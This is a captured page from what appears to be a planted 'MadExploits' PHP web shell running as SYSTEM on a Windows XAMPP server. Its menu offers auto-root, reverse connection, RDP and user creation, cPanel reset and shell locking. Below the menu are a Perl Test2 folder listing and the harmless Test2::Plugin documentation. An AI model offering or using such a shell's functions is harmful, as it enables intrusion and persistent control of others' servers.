Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
Test2 /
[ HOME SHELL ]
Name
Size
Permission
Action
AsyncSubtest
[ DIR ]
drwxrwxrwx
Bundle
[ DIR ]
drwxrwxrwx
Compare
[ DIR ]
drwxrwxrwx
Event
[ DIR ]
drwxrwxrwx
Manual
[ DIR ]
drwxrwxrwx
Plugin
[ DIR ]
drwxrwxrwx
Require
[ DIR ]
drwxrwxrwx
Tools
[ DIR ]
drwxrwxrwx
Util
[ DIR ]
drwxrwxrwx
Workflow
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
AsyncSubtest.pm
18.68
KB
-rw-rw-rw-
Bundle.pm
1.52
KB
-rw-rw-rw-
Compare.pm
11.53
KB
-rw-rw-rw-
Manual.pm
1.49
KB
-rw-rw-rw-
Mock.pm
21.68
KB
-rw-rw-rw-
Plugin.pm
1.83
KB
-rw-rw-rw-
Require.pm
2.65
KB
-rw-rw-rw-
Suite.pm
9.26
KB
-rw-rw-rw-
Todo.pm
3.77
KB
-rw-rw-rw-
Tools.pm
2.51
KB
-rw-rw-rw-
V0.pm
10.65
KB
-rw-rw-rw-
Workflow.pm
7.13
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Plugin.pm
package Test2::Plugin; use strict; use warnings; our $VERSION = '0.000130'; 1; __END__ =pod =encoding UTF-8 =head1 NAME Test2::Plugin - Documentation for plugins =head1 DESCRIPTION Plugins are packages that cause behavior changes, or other side effects for the test file that loads them. They should not export any functions, or provide any tools. Plugins should be distinct units of functionality. If you wish to combine behavior changes with tools then you should write a Plugin, a Tools module, and a bundle that loads them both. =head1 FAQ =over 4 =item Should I subclass Test2::Plugin? No. Currently this class is empty. Eventually we may want to add behavior, in which case we do not want anyone to already be subclassing it. =back =head1 HOW DO I WRITE A PLUGIN? Writing a plugin is not as simple as writing an L<Test2::Bundle>, or writing L<Test2::Tools>. Plugins alter behavior, or cause desirable side-effects. To accomplish this you typically need a custom C<import()> method that calls one or more functions provided by the L<Test2::API> package. If you want to write a plugin you should look at existing plugins, as well as the L<Test2::API> and L<Test2::Hub> documentation. There is no formula for a Plugin, they are generally unique, however consistent rules are that they should not load other plugins, or export any functions. =head1 SOURCE The source code repository for Test2-Suite can be found at F<https://github.com/Test-More/Test2-Suite/>. =head1 MAINTAINERS =over 4 =item Chad Granum E<lt>exodist@cpan.orgE<gt> =back =head1 AUTHORS =over 4 =item Chad Granum E<lt>exodist@cpan.orgE<gt> =back =head1 COPYRIGHT Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. See F<http://dev.perl.org/licenses/> =cut
Close